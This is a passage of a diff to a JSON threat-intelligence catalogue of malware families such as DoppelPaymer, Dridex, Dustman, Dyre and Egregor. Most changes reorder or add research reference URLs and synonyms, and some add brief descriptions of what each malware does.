"https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", - "https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://twitter.com/vikas891/status/1385306823662587905", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://www.secureworks.com/research/threat-profiles/gold-heron", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://intel471.com/blog/ransomware-attack-access-merchants-infostealer-escrow-service/", + "https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://www.ic3.gov/Media/News/2020/201215-1.pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/", - 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"https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.bleepingcomputer.com/news/security/foxconn-electronics-giant-hit-by-ransomware-34-million-ransom/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", "https://sites.temple.edu/care/ci-rw-attacks/", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", - "https://intel471.com/blog/ransomware-attack-access-merchants-infostealer-escrow-service/", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://twitter.com/BrettCallow/status/1453557686830727177?s=20", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://techcrunch.com/2020/03/01/visser-breach/", - "https://www.secureworks.com/research/threat-profiles/gold-heron", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-heron", - "https://www.ic3.gov/Media/News/2020/201215-1.pdf", - "https://www.heise.de/news/Uniklinik-Duesseldorf-Ransomware-DoppelPaymer-soll-hinter-dem-Angriff-stecken-4908608.html", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.trendmicro.com/en_us/research/21/a/an-overview-of-the-doppelpaymer-ransomware.html", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.bleepingcomputer.com/news/security/laptop-maker-compal-hit-by-ransomware-17-million-demanded/", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/", "https://redcanary.com/blog/grief-ransomware/", + "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "http://www.secureworks.com/research/threat-profiles/gold-heron", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://techcrunch.com/2020/03/01/visser-breach/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.bleepingcomputer.com/news/security/core-doppelpaymer-ransomware-gang-members-targeted-in-europol-operation/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://www.zscaler.com/blogs/security-research/doppelpaymer-continues-cause-grief-through-rebranding", - "https://twitter.com/vikas891/status/1385306823662587905" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://www.bleepingcomputer.com/news/security/laptop-maker-compal-hit-by-ransomware-17-million-demanded/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [ "Pay OR Grief" @@ -22235,9 +23298,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot", "http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html", + "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/", "https://blog.trendmicro.com/trendlabs-security-intelligence/the-dorkbot-rises/", - "https://research.checkpoint.com/dorkbot-an-investigation/", - "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/" + "https://research.checkpoint.com/dorkbot-an-investigation/" ], "synonyms": [], "type": [] @@ -22264,10 +23327,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dosia", - "https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/", + "https://viuleeenz.github.io/posts/2023/05/extracting-ddosia-targets-from-process-memory/", "https://medium.com/@b42labs/data-insights-from-russian-cyber-militants-noname057-9f4db98f60e", + "https://noname.be42late.co/", + "https://blog.sekoia.io/following-noname05716-ddosia-projects-targets/", "https://decoded.avast.io/martinchlumecky/ddosia-project-how-noname05716-is-trying-to-improve-the-efficiency-of-ddos-attacks/", - "https://www.team-cymru.com/post/a-blog-with-noname" + "https://www.team-cymru.com/post/a-blog-with-noname", + "https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/" ], "synonyms": [ "DDOSIA" @@ -22306,7 +23372,7 @@ "value": "Dot Ransomware" }, { - "description": "", + "description": "DOUBLEBACK is a newly discovered fileless malware deployed as part of an attack campaign that took place in December 2020. The threat actors responsible for the operations are tracked as UNC2529 by researchers. According to their findings, DOUBLEBACK is the final payload delivered onto the compromised systems. Its task is to establish and maintain a backdoor on the victim's machine. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback", @@ -22324,9 +23390,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy", + "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/", "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/", - "https://twitter.com/Int2e_/status/1294565186939092994", - "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/" + "https://twitter.com/Int2e_/status/1294565186939092994" ], "synonyms": [ "VALIDATOR" @@ -22336,13 +23402,26 @@ "uuid": "46a523ca-be25-4f59-bc01-2c006c58bf80", "value": "DoubleFantasy (Windows)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefinger", + "https://securelist.com/doublefinger-loader-delivering-greetingghoul-cryptocurrency-stealer/109982/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4f1e5142-0f62-48ee-a4a7-d8072fd78dcf", + "value": "DoubleFinger" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar", - "https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/", "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/", "https://www.symantec.com/blogs/threat-intelligence/buckeye-windows-zero-day-exploit", "https://github.com/countercept/doublepulsar-c2-traffic-decryptor" ], @@ -22357,24 +23436,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublezero", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", - 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"https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://securityintelligence.com/dridex-campaign-propelled-by-cutwail-botnet-and-powershell/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", + "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", + "https://cyber-anubis.github.io/malware%20analysis/dridex/", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.pandasecurity.com/mediacenter/src/uploads/2017/10/Informe_Dridex_Revisado_FINAL_EN-2.pdf", "https://aaqeel01.wordpress.com/2021/02/07/dridex-malware-analysis/", "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", - "https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/", - "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", - "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", - "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", - "https://gaissecurity.com/uploads/csirt/EN-Dridex-banking-trojan.pdf", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", - "https://en.wikipedia.org/wiki/Maksim_Yakubets", - "https://threatresearch.ext.hp.com/detecting-ta551-domains/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-005.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://adalogics.com/blog/the-state-of-advanced-code-injections", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-heron", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", + "https://www.cert.pl/en/news/single/talking-dridex-part-0-inside-the-dropper/", + "https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes", "https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.cert.ssi.gouv.fr/ioc/CERTFR-2020-IOC-003/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://reaqta.com/2020/06/dridex-the-secret-in-a-postmessage/", + "https://www.youtube.com/watch?v=1VB15_HgUkg", + "https://twitter.com/felixw3000/status/1382614469713530883?s=20", + "https://www.secureworks.com/research/threat-profiles/gold-drake", "https://securityintelligence.com/dridexs-cold-war-enter-atombombing/", - "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex" + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", + "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", + "https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation", + "http://www.secureworks.com/research/threat-profiles/gold-heron", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://isc.sans.edu/forums/diary/Recent+Dridex+activity/26550/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", + "https://www.flashpoint-intel.com/blog-dridex-banking-trojan-returns/", + "https://community.riskiq.com/article/2cd1c003", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/" ], "synonyms": [], "type": [] @@ -22609,11 +23692,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.driftpin", - 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"https://www.secureworks.com/blog/drokbk-malware-uses-github-as-dead-drop-resolver" + "https://www.esentire.com/blog/exploitation-of-vmware-horizon-servers-by-tunnelvision-threat-actor" ], "synonyms": [], "type": [] @@ -22673,8 +23757,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dropbook", - "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", - "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign" + "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", + "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf" ], "synonyms": [], "type": [] @@ -22687,9 +23771,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot", - "https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1/", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", "https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-2/", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + "https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1/" ], "synonyms": [], "type": [] @@ -22702,23 +23786,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dtrack", - "https://marcoramilli.com/2019/11/04/is-lazarus-apt38-targeting-critical-infrastructures/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-espionage", "https://twitter.com/ShadowChasing1/status/1399369260577681426?s=20", - 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"https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/", + "https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html", "https://labs.withsecure.com/assets/BlogFiles/Publications/WithSecure_Research_DUCKTAIL.pdf", "https://www.f-secure.com/content/dam/labs/docs/WithSecure_Research_DUCKTAIL.pdf", - "https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html", + "https://yoroi.company/research/ducktail-dissecting-a-complex-infection-chain-started-from-social-engineering/", "https://www.deepinstinct.com/blog/ducktail-threat-operation-re-emerges-with-new-lnk-powershell-and-other-custom-tactics-to-avoid-detection", - "https://yoroi.company/research/ducktail-dissecting-a-complex-infection-chain-started-from-social-engineering/" + "https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/" ], "synonyms": [], "type": [] @@ -22803,12 +23890,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu", - 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"description": "In 2019, multiple destructive attacks were observed targeting entities within the Middle East. The National Cyber Security Centre (NCSC), a part of the National Cybersecurity Authority (NCA), detected a new malware named \"DUSTMAN\" that was detonated on December 29, 2019. Based on analyzed evidence and artifacts found on machines in a victim’s network that were not wiped by the malware. NCSC assess that the threat actor behind the attack had some kind of urgency on executing the files on the date of the attack due to multiple OPSEC failures observed on the infected network. NCSC is calling the malware used in this attack \"DUSTMAN\" after the filename and string embedded in the malware. \"DUSTMAN\" can be considered as a new variant of \"ZeroCleare\" malware,\r\npublished in December 2019.", + "description": "In 2019, multiple destructive attacks were observed targeting entities within the Middle East. The National Cyber Security Centre (NCSC), a part of the National Cybersecurity Authority (NCA), detected a new malware named \"DUSTMAN\" that was detonated on December 29, 2019. Based on analyzed evidence and artifacts found on machines in a victim\u2019s network that were not wiped by the malware. NCSC assess that the threat actor behind the attack had some kind of urgency on executing the files on the date of the attack due to multiple OPSEC failures observed on the infected network. NCSC is calling the malware used in this attack \"DUSTMAN\" after the filename and string embedded in the malware. \"DUSTMAN\" can be considered as a new variant of \"ZeroCleare\" malware,\r\npublished in December 2019.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://swapcontext.blogspot.com/2020/01/dustman-apt-art-of-copy-paste.html", "https://www.scribd.com/document/442225568/Saudi-Arabia-CNA-report", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://twitter.com/Irfan_Asrar/status/1213544175355908096", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://www.linkedin.com/posts/iasrar_dustman-report-in-english-activity-6619216346083393537-NV1z/", - "https://swapcontext.blogspot.com/2020/01/dustman-apt-art-of-copy-paste.html" + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://www.linkedin.com/posts/iasrar_dustman-report-in-english-activity-6619216346083393537-NV1z/" ], "synonyms": [], "type": [] @@ -22840,10 +23927,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer", - "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.secureworks.com/research/threat-profiles/nickel-academy", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" + "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", + "https://www.secureworks.com/research/threat-profiles/nickel-academy" ], "synonyms": [ "Escad" @@ -22858,13 +23945,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyepack", - "https://content.fireeye.com/apt/rpt-apt38", + "https://securelist.com/lazarus-under-the-hood/77908/", "https://media.ccc.de/v/froscon2021-2670-der_cyber-bankraub_von_bangladesch", + "https://content.fireeye.com/apt/rpt-apt38", + "https://www.anomali.com/blog/evidence-of-stronger-ties-between-north-korea-and-swift-banking-attacks", + "https://github.com/649/APT38-DYEPACK", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://securelist.com/blog/sas/77908/lazarus-under-the-hood/", - "https://github.com/649/APT38-DYEPACK" + "https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks", + "https://securelist.com/blog/sas/77908/lazarus-under-the-hood/" ], "synonyms": [ + "BanSwift", "swift" ], "type": [] @@ -22890,19 +23981,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre", - "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/", - "https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf", - "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", - "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", + "http://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", "https://www.secureworks.com/research/threat-profiles/gold-blackburn", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", "https://www.secureworks.com/research/dyre-banking-trojan", + "https://www.fireeye.com/blog/threat-research/2015/07/dyre_banking_trojan.html", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", "https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "http://www.secureworks.com/research/threat-profiles/gold-blackburn", - "https://www.fireeye.com/blog/threat-research/2015/07/dyre_banking_trojan.html" + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", + "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/" ], "synonyms": [ "Dyreza" @@ -22930,8 +24021,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.easynight", - "https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/", - "https://content.fireeye.com/api/pdfproxy?id=86840" + "https://content.fireeye.com/api/pdfproxy?id=86840", + "https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/" ], "synonyms": [], "type": [] @@ -22944,8 +24035,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eda2_ransom", - "https://twitter.com/JaromirHorejsi/status/815861135882780673", - "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/" + "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/", + "https://twitter.com/JaromirHorejsi/status/815861135882780673" ], "synonyms": [], "type": [] @@ -22954,76 +24045,76 @@ "value": "EDA2" }, { - "description": "", + "description": "According to Heimdal, Egregor ransomware infection happens via a loader, then, in the victim\u2019s firewall, it enables the Remote Desktop Protocol. After this part, the malware is free to move inside the victim\u2019s network, identifying and disabling all the antivirus software it can find. The next step is the encryption of the data and the insertion of a ransom note named \u201cRECOVER-FILES.txt\u201d in all the compromised folders. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.egregor", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", - "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/", - "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://www.bleepingcomputer.com/news/security/translink-confirms-ransomware-data-theft-still-restoring-systems/", - "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", - "https://intel471.com/blog/egregor-arrests-ukraine-sbu-maze-ransomware", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", - "https://www.trendmicro.com/en_us/research/21/c/egregor-ransomware-cartel-members-arrested.html", - "https://id-ransomware.blogspot.com/2020/09/egregor-ransomware.html", - "https://therecord.media/frances-lead-cybercrime-investigator-on-the-egregor-arrests-cybercrime/", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-1203.pdf", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/", - "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://www.bleepingcomputer.com/news/security/kmart-nationwide-retailer-suffers-a-ransomware-attack/", - "https://blog.emsisoft.com/en/37810/ransomware-profile-egregor/", - "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", - "https://unit42.paloaltonetworks.com/egregor-ransomware-courses-of-action/", - 